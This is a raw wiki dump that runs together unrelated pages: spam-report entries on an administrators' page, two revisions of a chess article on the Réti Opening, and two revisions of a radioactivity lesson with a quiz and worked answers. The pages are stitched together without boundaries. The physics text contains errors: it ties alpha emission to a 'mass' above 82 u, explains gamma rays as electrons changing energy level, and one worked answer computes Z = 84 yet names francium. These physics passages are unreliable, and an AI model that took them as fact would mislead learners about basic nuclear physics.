[[WB:HELP|Assistance Reading Room]]. {{clear}} [[Category:Reading room]] == Myteethtime1 reported by MathXplore == * {{userlinks|Myteethtime1}} Spam <!-- USERREPORTED:/Myteethtime1/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:54, 4 September 2026 (UTC) : {{Done}} by MarcGarver. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Rajstartupservices reported by MathXplore == * {{userlinks|Rajstartupservices}} Link spam, [[Special:AbuseLog/315363]] <!-- USERREPORTED:/Rajstartupservices/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 14:33, 4 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 19:28, 4 September 2026 (UTC) == Reazulkarim545456 reported by MathXplore == * {{userlinks|Reazulkarim545456}} Link spam, [[Special:AbuseLog/315377]] <!-- USERREPORTED:/Reazulkarim545456/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:39, 6 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:19, 6 September 2026 (UTC) == Fahmidafy reported by MathXplore == * {{userlinks|Fahmidafy}} Link spam, [[Special:AbuseLog/315378]] <!-- USERREPORTED:/Fahmidafy/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:40, 6 September 2026 (UTC) : The filter stopped them three times, no action taken. Please re-report if they continue spamming. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:20, 6 September 2026 (UTC) == Grow spark digital reported by MathXplore == * {{userlinks|Grow spark digital}} Link spam, [[Special:AbuseLog/315381]] <!-- USERREPORTED:/Grow spark digital/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 06:42, 6 September 2026 (UTC) : Only one filter hit, seems stale. Please re-report if they continue to spam. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:49, 6 September 2026 (UTC) == Korigosnacks reported by MathXplore == * {{userlinks|Korigosnacks}} Link spam, [[Special:AbuseLog/315383]] <!-- USERREPORTED:/Korigosnacks/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:32, 6 September 2026 (UTC) : Stale after only two filter hits and no edits. Please re-report if they spam later. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:56, 6 September 2026 (UTC) == Athoyislam reported by MathXplore == * {{userlinks|Athoyislam}} Spam <!-- USERREPORTED:/Athoyislam/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:47, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:31, 7 September 2026 (UTC) == Jamal123lll reported by MathXplore == * {{userlinks|Jamal123lll}} Link spam, [[Special:AbuseLog/315402]] <!-- USERREPORTED:/Jamal123lll/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:48, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:32, 7 September 2026 (UTC) == Idontknowidkh reported by MathXplore == * {{userlinks|Idontknowidkh}} online shopping spam, [[Special:AbuseLog/315400]] <!-- USERREPORTED:/Idontknowidkh/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 10:49, 7 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:33, 7 September 2026 (UTC) == Ridhisharma1999 reported by MathXplore == * {{userlinks|Ridhisharma1999}} Link spam, [[Special:AbuseLog/315435]] <!-- USERREPORTED:/Ridhisharma1999/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:01, 9 September 2026 (UTC) :{{Done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 12:02, 9 September 2026 (UTC) == Thenaoriudaipur reported by MathXplore == * {{userlinks|Thenaoriudaipur}} Link spam, [[Special:AbuseLog/315473]] <!-- USERREPORTED:/Thenaoriudaipur/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:47, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == Networkkingss reported by MathXplore == * {{userlinks|Networkkingss}} Link spam, [[Special:AbuseLog/315458]] <!-- USERREPORTED:/Networkkingss/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:50, 10 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:49, 10 September 2026 (UTC) == ~2026-49226-92 reported by MathXplore == * {{anonlinks|~2026-49226-92}} Vandalism <!-- USERREPORTED:/~2026-49226-92/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:57, 10 September 2026 (UTC) : {{done}}. I also nuked all pages created by this user and their connected temporary accounts based on their associated IP(s). [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:48, 10 September 2026 (UTC) == ~2026-49632-08 reported by MathXplore == * {{anonlinks|~2026-49632-08}} Spam <!-- USERREPORTED:/~2026-49632-08/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:08, 13 September 2026 (UTC) :{{done}} [[User:JackPotte|JackPotte]] ([[User talk:JackPotte|discuss]] • [[Special:Contributions/JackPotte|contribs]]) 06:39, 13 September 2026 (UTC) == Happyherbal26 reported by MathXplore == * {{userlinks|Happyherbal26}} Link spam, [[Special:AbuseLog/315518]] <!-- USERREPORTED:/Happyherbal26/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Shahadotdl reported by MathXplore == * {{userlinks|Shahadotdl}} Link spam, [[Special:AbuseLog/315516]] <!-- USERREPORTED:/Shahadotdl/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:37, 14 September 2026 (UTC) :{{done}} ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 14:02, 14 September 2026 (UTC) == Sonarbanglahc reported by MathXplore == * {{userlinks|Sonarbanglahc}} Spam <!-- USERREPORTED:/Sonarbanglahc/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:41, 15 September 2026 (UTC) : {{done}}. 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Nf3 d5 2. c4 |eco=[[Chess/ECOA|A09]] |parent=[[../|1... d5]] }} ==== 2. c4 - Réti Opening ==== This opening is a hypermodern opening, which invites white's minor pieces to control the centre rather than their pawns. Here black has 4 options: === Defending the Pawn === This can be done with moves such as 2... c6, or 2... e6, both of which generally transpose to the Queen's Gambit Declined or Slav Defense. However, white can deviate with 3. g3, leading the positions that resemble the Catalan Opening (or even transposing to the Catalan Opening, normally reached with 1. d4 Nf6 2. c4 e6 3. g3), or even 3. b3!? === Advancing the Pawn === This gives black a spatial advantage in the center and a quite annoying pawn on d4 that controls c3 and e3, squares where the bishop and knight could have originally been developed to. From here, white challenges the pawn with e3, a3 (followed by b4), and b4, while black tries to hold onto the pawn with Nc6 and c5. The most critical line in this variation is known as the '''Reversed Blumenfeld Gambit''' (similar to the Blumenfeld Countergambit played as black), going 3. e3 c5 4. b4 dxe3 5. fxe3 cxb4 6. d4, where black is up a pawn, but it's a weak pawn on b4, and white has central control and development to compensate for that. White is generally considered to get enough compensation for the pawn in this line and gets a ~52% score from it. White can also choose to avoid this line and go for 3. g3, which leads to positions resembling the Alekhine Defense, where black has a huge spatial advantage in the center after 3... Nc6 4. Bg2 e5 5. O-O e4 6. Ne1, but the pawns are weak and white can attack them with moves like d3. This is best for people who want to follow the "hypermodern" opening ideal, where black follows the classical opening ideas, but white controls the center with pieces and targets the central pawns that black has. === Capturing the Pawn === Capturing the pawn with 2... dxc4 isn't considered the best, but theory and practice has shown that black does just fine. This usually transposes into a Queen's Gambit Accepted line, which is usually fine for both sides. A sample line would be 3. e3 e6 4. Bxc4 c5 5. d4 Nf6, transposing to the Classical Defense of the Queen's Gambit Accepted. === Ignoring the threat === Black can choose to ignore white's threat since black's Queen is defending the pawn and instead to develop a piece. The correct response is to capture black's pawn on d5. When black captures back with their Queen, white can develop their knight to c3 with tempo. == Theory table == {{Chess Opening Theory/Table}} '''1. Nf3 d5''' <table border="0" cellspacing="0" cellpadding="4"> <tr> <th></th> <th align="left">2</th> <th align="left">3</th> <th align="left">4</th> <th align="left">5</th> </tr> <tr> <th align="right">Queen's Gambit Accepted</th> <td>c4<br>[[/2. dxc4|dxc4]]</td> <td>e3<br>e6</td> <td>Bxc4<br>c5</td> <td>d4<br>Nf6</td> <td>=</td> </tr> <tr> <th align="right">[[Chess/Fedida Gambit|Fedida Gambit]]</th> <td>...<br>[[/2. dxc4|dxc4]]?!</td> <td>b3<br>cxb3</td> <td>Qxb3 e6 </td> <td>e4 Nf6 </td> <td>⩱</td> </tr> <tr> <th align="right">Reti Opening Mainline</th> <td>...<br>[[/2..d4|d4]]</td> <td>g3<br>Nc6</td> <td>Bg2<br>e5</td> <td>O-O<br>e4</td> <td>∞</td> </tr><tr><th>Reversed Blumenfeld</th><td>... [[/2..d4|d4]] </td><td>e3 c5 </td><td>b4 dxe3 </td><td>fxe3 cxb4 </td><td>∞</td></tr><tr> <th align="right">[[Chess/English Opening|English Opening]]</th> <td>...<br>[[/2...e6|e6]]</td> <td>g3<br>Nf6</td> <td>Bg2<br>Be7</td> <td> O-O O-O </td> <td>=</td> </tr> <tr> <th align="right">Slav</th> <td>...<br>[[/2...c6|c6]]</td> <td>d4 Nf6 </td> <td> Nc3 dxc4 </td> <td> a4 Bf5 </td> <td>=</td> </tr> </table> {{ChessMid}} == References == {{reflist}} {{Wikipedia|Réti Opening}} {{BCO2}} * Flank Openings, Bruno Carlier, Trends publications, 1990. No ISBN * Winning With The Reti Opening, Ken Smith John Hall, Chess Digest Inc., 1993, {{ISBN|0-87568-237-5}} {{Chess Opening Theory/Footer}} {{ChessStub}} 61mii6wil1edglpblewyqyjvd0yn4lj 4670870 4670867 2026-09-18T07:06:26Z NDG 3510220 Reverted edits by [[Special:Contribs/~2026-50643-82|~2026-50643-82]] ([[User talk:~2026-50643-82|talk]]) to last version by KoroRush: reverting vandalism 4549143 wikitext text/x-wiki __NOTOC__ {{Chess Opening Theory/Position|= |Réti Opening| |rd|nd|bd|qd|kd|bd|nd|rd|= |pd|pd|pd| |pd|pd|pd|pd|= | | | | | | | | |= | | | |pd| | | | |= | | |pl| | | | | |= | | | | | |nl| | |= |pl|pl| |pl|pl|pl|pl|pl|= |rl|nl|bl|ql|kl|bl| |rl|= |moves=1. Nf3 d5 2. c4 |eco=[[Chess/ECOA|A09]] |parent=[[../|1... d5]] }} == 2. c4 - Réti Opening == This opening is a hypermodern opening, which invites white's minor pieces to control the centre rather than their pawns. Here black has 4 options: === Defending the Pawn === This can be done with moves such as 2... c6, or 2... e6, both of which generally transpose to the Queen's Gambit Declined or Slav Defense. However, white can deviate with 3. g3, leading the positions that resemble the Catalan Opening (or even transposing to the Catalan Opening, normally reached with 1. d4 Nf6 2. c4 e6 3. g3), or even 3. b3!? === Advancing the Pawn === This gives black a spatial advantage in the center and a quite annoying pawn on d4 that controls c3 and e3, squares where the bishop and knight could have originally been developed to. From here, white challenges the pawn with e3, a3 (followed by b4), and b4, while black tries to hold onto the pawn with Nc6 and c5. The most critical line in this variation is known as the '''Reversed Blumenfeld Gambit''' (similar to the Blumenfeld Countergambit played as black), going 3. e3 c5 4. b4 dxe3 5. fxe3 cxb4 6. d4, where black is up a pawn, but it's a weak pawn on b4, and white has central control and development to compensate for that. White is generally considered to get enough compensation for the pawn in this line and gets a ~52% score from it. White can also choose to avoid this line and go for 3. g3, which leads to positions resembling the Alekhine Defense, where black has a huge spatial advantage in the center after 3... Nc6 4. Bg2 e5 5. O-O e4 6. Ne1, but the pawns are weak and white can attack them with moves like d3. This is best for people who want to follow the "hypermodern" opening ideal, where black follows the classical opening ideas, but white controls the center with pieces and targets the central pawns that black has. === Capturing the Pawn === Capturing the pawn with 2... dxc4 isn't considered the best, but theory and practice has shown that black does just fine. This usually transposes into a Queen's Gambit Accepted line, which is usually fine for both sides. A sample line would be 3. e3 e6 4. Bxc4 c5 5. d4 Nf6, transposing to the Classical Defense of the Queen's Gambit Accepted. === Ignoring the threat === Black can choose to ignore white's threat since black's Queen is defending the pawn and instead to develop a piece. The correct response is to capture black's pawn on d5. When black captures back with their Queen, white can develop their knight to c3 with tempo. == Theory table == {{Chess Opening Theory/Table}} '''1. Nf3 d5''' <table border="0" cellspacing="0" cellpadding="4"> <tr> <th></th> <th align="left">2</th> <th align="left">3</th> <th align="left">4</th> <th align="left">5</th> </tr> <tr> <th align="right">Queen's Gambit Accepted</th> <td>c4<br>[[/2. dxc4|dxc4]]</td> <td>e3<br>e6</td> <td>Bxc4<br>c5</td> <td>d4<br>Nf6</td> <td>=</td> </tr> <tr> <th align="right">[[Chess/Fedida Gambit|Fedida Gambit]]</th> <td>...<br>[[/2. dxc4|dxc4]]?!</td> <td>b3<br>cxb3</td> <td>Qxb3 e6 </td> <td>e4 Nf6 </td> <td>⩱</td> </tr> <tr> <th align="right">Reti Opening Mainline</th> <td>...<br>[[/2..d4|d4]]</td> <td>g3<br>Nc6</td> <td>Bg2<br>e5</td> <td>O-O<br>e4</td> <td>∞</td> </tr><tr><th>Reversed Blumenfeld</th><td>... [[/2..d4|d4]] </td><td>e3 c5 </td><td>b4 dxe3 </td><td>fxe3 cxb4 </td><td>∞</td></tr><tr> <th align="right">[[Chess/English Opening|English Opening]]</th> <td>...<br>[[/2...e6|e6]]</td> <td>g3<br>Nf6</td> <td>Bg2<br>Be7</td> <td> O-O O-O </td> <td>=</td> </tr> <tr> <th align="right">Slav</th> <td>...<br>[[/2...c6|c6]]</td> <td>d4 Nf6 </td> <td> Nc3 dxc4 </td> <td> a4 Bf5 </td> <td>=</td> </tr> </table> {{ChessMid}} == References == {{reflist}} {{Wikipedia|Réti Opening}} {{BCO2}} * Flank Openings, Bruno Carlier, Trends publications, 1990. No ISBN * Winning With The Reti Opening, Ken Smith John Hall, Chess Digest Inc., 1993, {{ISBN|0-87568-237-5}} {{Chess Opening Theory/Footer}} {{ChessStub}} bu68rnpjfyhr7dny73ujkovpkkee230 0 193340 4670861 4526715 2026-09-18T04:52:31Z Kai Burghardt 153973 fix typos, expand HTML named character entities, insert some links /* Questions */ convert to [[Help: Quizzes|quiz]] 4670861 wikitext text/x-wiki [[Image:Table of nuclides (mul).svg|right|thumb|400px|Table of the number of neutrons and protons in the nuclei of isotopes, showing their most common mode of decay.]] ‘Radioactivity’ is a catch‐all term for several different emissions from the nuclei of ‘radioactive’ atoms. There are three main types of radiation: alpha (α), beta (β) and gamma (γ). When radiation occurs, four things must be conserved: * Mass number * Electric charge * [[../Leptons|Lepton]] number * [[../Quarks#Baryons|Baryon]] number In formulae, mass and charge are shown next to the symbol of the particle. For example, a neutron with mass 1{{abbr|u|unified atomic mass unit}} and no charge is <math>^{1}_{0}\mathrm{n}</math>. The charge on an {{tooltip|ordinary|non‐exotic: the matter we are made of}} nucleus is equal to the number of protons in the nucleus (electrons can be ignored). The lepton and baryon numbers may be obtained by counting the number of leptons and baryons on either side of the equation, remembering that antiparticles have negative lepton and baryon numbers. ==α Radiation== Unstable nuclei with a mass greater than 82{{abbr|u|unified atomic mass units}} emit α radiation. This consists of a helium nucleus (<math>^{4}_{2}\mathrm{He}^{2+}</math>). The alpha particle simply splits off from the nucleus. Since the particle has no electrons, it has a charge of +2{{abbr|e|elementary charges}}. This, combined with its relatively large mass, means that it reacts easily with other particles, ionising them, meaning that it cannot penetrate more than a few centimetres of {{tooltip|standard|101.325kPa beside other parameters (differs a little bit among standards)}} air. ==β Radiation== Unstable nuclei with a mass below 82{{abbr|u|unified atomic mass units}} emit β radiation. There are two types of β radiation. β⁻ radiation consists of an electron (<math>^{\phantom{+}0}_{-1}\mathrm{e}</math>). This is produced by nuclei with many more neutrons than protons. A neutron changes into a proton, emitting an electron and an antineutrino in order to balance the lepton number. β⁺ radiation consists of a positron (<math>^{0}_{1}\mathrm{e}</math>). This is produced by nuclei with roughly the same number of neutrons as protons. A proton changes into a neutron, emitting a positron and a neutrino. β particles also ionise particles, but since they have less charge and mass, they do this less easily, and so they travel further (on average). Both α and β radiation result in the nucleus which emitted them being changed into another element (transmutation). ==γ Radiation== The [[../Binding Energy|binding energies]] of nuclei are quantized – they can only take on certain values. When an electron jumps down an energy level, this energy has to go somewhere – it takes the form of a photon (γ). The structure of the nucleus is not changed by γ radiation. γ radiation is ionising, but only at the right frequency – the resonant frequency of the things it ionises. γ radiation travels very far, and only a good thick layer of lead can stop it. ==Questions== Do not use a reference showing decay modes. <quiz display='simple'> { You will need a [[Periodic Table|periodic table]]. } { Americium‐241 is an α emitter. What element, and what isotope, is produced by this decay? | type="{}" } { neptunium‐237 | neptunium‑237 | neptunium-237 | Np‑237 | Np‐237 | Np-237 | ²³⁷Np } || <math display='block'>\begin{align} {}^{241}_{\phantom{0}95}\mathrm{Am} \; &\xrightarrow{\text{\alpha}} \; {}^{A}_{Z}\mathrm{E} \, + \, {}^{4}_{2}\mathrm{\alpha} \\ A &= 241 - 4 = 237 \\ Z &= 95 - 2 = 93 \end{align}</math>So, <math display='inline'>{}^{237}_{\phantom{0}93}\mathrm{Np}</math> (neptunium‐237) is produced. { Iodine‑129 is a β⁻ emitter. What element, and what isotope, is produced by this decay? | type="{}" } { xenon‐129 | xenon‑129 | xenon-129 | Xe‑129 | Xe‐129 | Xe-129 | ¹²⁹Xe } || <math display='block'>\begin{align} {}^{129}_{\phantom{0}53}\mathrm{I} \; &\xrightarrow{\text{\beta\textsuperscript{\minus}}} \; {}^{A}_{Z}\mathrm{E} \, + \, {}^{\phantom{+}0}_{-1}\mathrm{\beta} \, + \, {}^{0}_{0}\mathrm{\bar{\nu}} \\ A &= 129 \\ Z &= 53 + 1 = 54 \end{align}</math>So, <math display='inline'>{}^{129}_{\phantom{0}54}\mathrm{Xe}</math> (xenon‐129) is produced. { Gamma rays are used to kill microbes in food. Why doesn’t the food become radioactive? | type="()" coef="2" } + (Free‐form text answer: Marking needs to be done manually.) || Gamma radiation only interacts with the electrons of the atom, not with the nucleus. Radioactivity is due to nuclear properties, not chemical properties. { Plutonium‐244 decays by emitting an α particle. It does this twice, emits a β⁻ particle, and then emits a further two α particles. The nucleus becomes a different element each time. What element is produced at the end? | type="{}" } { francium‐228 | francium‑228 | francium-228 | Fr‑228 | Fr‐228 | Fr-228 | ²²⁸Fr } || <math display='block'>\begin{align} {}^{244}_{\phantom{0}94}\mathrm{Pu} \; &\xrightarrow{\text{\alpha, \beta\textsuperscript{\minus}}} \; {}^{A}_{Z}\mathrm{E} \, + \, 4 \, {}^{4}_{2}\mathrm{He} + {}^{\phantom{+}0}_{-1}\mathrm{\beta}^{-} \\ A &= 244 - 16 = 228 \\ Z &= 94 - 8 + 1 = 84 \end{align}</math>So, <math display='inline'>{}^{228}_{\phantom{0}87}\mathrm{Fr}</math> (francium‐228) is produced. { Carbon‐11 changes into boron‐11 by a radioactive emission. What was emitted? | type="{}" coef="2" } { electron neutrino and positron | electron neutrino, positron | antielectron and electron neutrino | antielectron, electron neutrino | e⁺, νₑ | β⁺, νₑ } || <math display='block'>\begin{align} {}^{11}_{\phantom{0}6}\mathrm{C} \; &\xrightarrow{\text{decay}} \; {}^{11}_{\phantom{0}5}\mathrm{B} \, + \, {}^{A}_{Z}\mathrm{E} \\ A &= 11 - 11 = 0 \\ Z &= 6 - 5 = 1 \end{align}</math>So, a positron (<math display='inline'>{}^{0}_{1}\mathrm{\beta}^{+}</math> was emitted. However, in order for the lepton numbers to balance, an electron neutrino (<math display='inline'>{}^{0}_{0}\mathrm{\nu}_{\mathrm{e}}</math>) must also be emitted. { Uranium‐236 decays, following the equation:{{equation|<math display='block'>{}^{236}_{\phantom{0}92}\mathrm{U} \; \xrightarrow{\text{decay}} \; {}^{232}_{\phantom{0}90}\mathrm{Th} \, + \, {}^{A}_{Z}\mathrm{E} </math>}}Identify the particle <math display='inline'>\mathrm{E}</math> in this equation. | type="{}" } { α | alpha particle | α particle | helium-4 nucleus } || Solve these type of problems by applying the conservation laws: e. g. the decay must balance electric charge, nucleon number, proton number, lepton number etc. Nucleon number doesn’t balance (<math display='inline'>236 = 232 + A</math>), so <math display='inline'>\mathrm{E}</math> must have a nucleon number of <math display='inline'>4</math>.<br/><br/>The proton number does not balance either (<math display='inline'>92 = 90 + Z</math>) therefore <math display='inline'>\mathrm{E}</math> must have <math display='inline'>2</math> protons.<br/><br/>Therefore it can be concluded that <math display='inline'>\mathrm{E}</math> is an alpha particle. </quiz> {{BookCat}} tc80cq8in7hp0lvj6r3hlgvodo6iq5j 4670864 4670861 2026-09-18T06:25:42Z Kai Burghardt 153973 /* Questions */ resolve [[:Category: Pages with math render errors|parsing error]]: unknown function "\begin{align}" 4670864 wikitext text/x-wiki [[Image:Table of nuclides (mul).svg|right|thumb|400px|Table of the number of neutrons and protons in the nuclei of isotopes, showing their most common mode of decay.]] ‘Radioactivity’ is a catch‐all term for several different emissions from the nuclei of ‘radioactive’ atoms. There are three main types of radiation: alpha (α), beta (β) and gamma (γ). When radiation occurs, four things must be conserved: * Mass number * Electric charge * [[../Leptons|Lepton]] number * [[../Quarks#Baryons|Baryon]] number In formulae, mass and charge are shown next to the symbol of the particle. For example, a neutron with mass 1{{abbr|u|unified atomic mass unit}} and no charge is <math>^{1}_{0}\mathrm{n}</math>. The charge on an {{tooltip|ordinary|non‐exotic: the matter we are made of}} nucleus is equal to the number of protons in the nucleus (electrons can be ignored). The lepton and baryon numbers may be obtained by counting the number of leptons and baryons on either side of the equation, remembering that antiparticles have negative lepton and baryon numbers. ==α Radiation== Unstable nuclei with a mass greater than 82{{abbr|u|unified atomic mass units}} emit α radiation. This consists of a helium nucleus (<math>^{4}_{2}\mathrm{He}^{2+}</math>). The alpha particle simply splits off from the nucleus. Since the particle has no electrons, it has a charge of +2{{abbr|e|elementary charges}}. This, combined with its relatively large mass, means that it reacts easily with other particles, ionising them, meaning that it cannot penetrate more than a few centimetres of {{tooltip|standard|101.325kPa beside other parameters (differs a little bit among standards)}} air. ==β Radiation== Unstable nuclei with a mass below 82{{abbr|u|unified atomic mass units}} emit β radiation. There are two types of β radiation. β⁻ radiation consists of an electron (<math>^{\phantom{+}0}_{-1}\mathrm{e}</math>). This is produced by nuclei with many more neutrons than protons. A neutron changes into a proton, emitting an electron and an antineutrino in order to balance the lepton number. β⁺ radiation consists of a positron (<math>^{0}_{1}\mathrm{e}</math>). This is produced by nuclei with roughly the same number of neutrons as protons. A proton changes into a neutron, emitting a positron and a neutrino. β particles also ionise particles, but since they have less charge and mass, they do this less easily, and so they travel further (on average). Both α and β radiation result in the nucleus which emitted them being changed into another element (transmutation). ==γ Radiation== The [[../Binding Energy|binding energies]] of nuclei are quantized – they can only take on certain values. When an electron jumps down an energy level, this energy has to go somewhere – it takes the form of a photon (γ). The structure of the nucleus is not changed by γ radiation. γ radiation is ionising, but only at the right frequency – the resonant frequency of the things it ionises. γ radiation travels very far, and only a good thick layer of lead can stop it. ==Questions== <quiz display='simple'> { You will need a [[Periodic Table|periodic table]]. Do not use a reference showing decay modes. } { Americium‐241 is an α emitter. What element, and what isotope, is produced by this decay? | type="{}" } { neptunium‐237 | neptunium‑237 | neptunium-237 | Np‑237 | Np‐237 | Np-237 | ²³⁷Np } || <math display='block'>\begin{align} {}^{241}_{\phantom{0}95}\mathrm{Am} \; &\xrightarrow{\text{ α }} \; {}^{A}_{Z}\mathrm{E} \, + \, {}^{4}_{2}\mathrm{\alpha} \\ A &= 241 - 4 = 237 \\ Z &= 95 - 2 = 93 \end{align}</math>So, <math display='inline'>{}^{237}_{\phantom{0}93}\mathrm{Np}</math> (neptunium‐237) is produced. { Iodine‑129 is a β⁻ emitter. What element, and what isotope, is produced by this decay? | type="{}" } { xenon‐129 | xenon‑129 | xenon-129 | Xe‑129 | Xe‐129 | Xe-129 | ¹²⁹Xe } || <math display='block'>\begin{align} {}^{129}_{\phantom{0}53}\mathrm{I} \; &\xrightarrow{\text{β}^{\text{−}}} \; {}^{A}_{Z}\mathrm{E} \, + \, {}^{\phantom{+}0}_{-1}\mathrm{\beta} \, + \, {}^{0}_{0}\mathrm{\bar{\nu}} \\ A &= 129 \\ Z &= 53 + 1 = 54 \end{align}</math>So, <math display='inline'>{}^{129}_{\phantom{0}54}\mathrm{Xe}</math> (xenon‐129) is produced. { Gamma rays are used to kill microbes in food. Why doesn’t the food become radioactive? | type="()" coef="2" } + (Free‐form text answer: Marking needs to be done manually.) || Gamma radiation only interacts with the electrons of the atom, not with the nucleus. Radioactivity is due to nuclear properties, not chemical properties. { Plutonium‐244 decays by emitting an α particle. It does this twice, emits a β⁻ particle, and then emits a further two α particles. The nucleus becomes a different element each time. What element is produced at the end? | type="{}" } { francium‐228 | francium‑228 | francium-228 | Fr‑228 | Fr‐228 | Fr-228 | ²²⁸Fr } || <math display='block'>\begin{align} {}^{244}_{\phantom{0}94}\mathrm{Pu} \; &\xrightarrow{\text{α, β}^{\text{−}}} \; {}^{A}_{Z}\mathrm{E} \, + \, 4 \, {}^{4}_{2}\mathrm{He} + {}^{\phantom{+}0}_{-1}\mathrm{\beta}^{-} \\ A &= 244 - 16 = 228 \\ Z &= 94 - 8 + 1 = 84 \end{align}</math>So, <math display='inline'>{}^{228}_{\phantom{0}87}\mathrm{Fr}</math> (francium‐228) is produced. { Carbon‐11 changes into boron‐11 by a radioactive emission. What was emitted? | type="{}" coef="2" } { electron neutrino and positron | electron neutrino, positron | antielectron and electron neutrino | antielectron, electron neutrino | e⁺, νₑ | β⁺, νₑ } || <math display='block'>\begin{align} {}^{11}_{\phantom{0}6}\mathrm{C} \; &\xrightarrow{\text{decay}} \; {}^{11}_{\phantom{0}5}\mathrm{B} \, + \, {}^{A}_{Z}\mathrm{E} \\ A &= 11 - 11 = 0 \\ Z &= 6 - 5 = 1 \end{align}</math>So, a positron (<math display='inline'>{}^{0}_{1}\mathrm{\beta}^{+}</math> was emitted. However, in order for the lepton numbers to balance, an electron neutrino (<math display='inline'>{}^{0}_{0}\mathrm{\nu}_{\mathrm{e}}</math>) must also be emitted. { Uranium‐236 decays, following the equation:{{equation|<math display='block'>{}^{236}_{\phantom{0}92}\mathrm{U} \; \xrightarrow{\text{decay}} \; {}^{232}_{\phantom{0}90}\mathrm{Th} \, + \, {}^{A}_{Z}\mathrm{E} </math>}}Identify the particle <math display='inline'>\mathrm{E}</math> in this equation. | type="{}" } { α | alpha particle | α particle | helium-4 nucleus } || Solve these type of problems by applying the conservation laws: e. g. the decay must balance electric charge, nucleon number, proton number, lepton number etc. Nucleon number doesn’t balance (<math display='inline'>236 = 232 + A</math>), so <math display='inline'>\mathrm{E}</math> must have a nucleon number of <math display='inline'>4</math>.<br/><br/>The proton number does not balance either (<math display='inline'>92 = 90 + Z</math>) therefore <math display='inline'>\mathrm{E}</math> must have <math display='inline'>2</math> protons.<br/><br/>Therefore it can be concluded that <math display='inline'>\mathrm{E}</math> is an alpha particle. </quiz> {{BookCat}} 5lyo4inx2avvhnhqk0fzvgy5oedxxwz 5 245060 4670721 4639285 2026-09-17T22:35:29Z 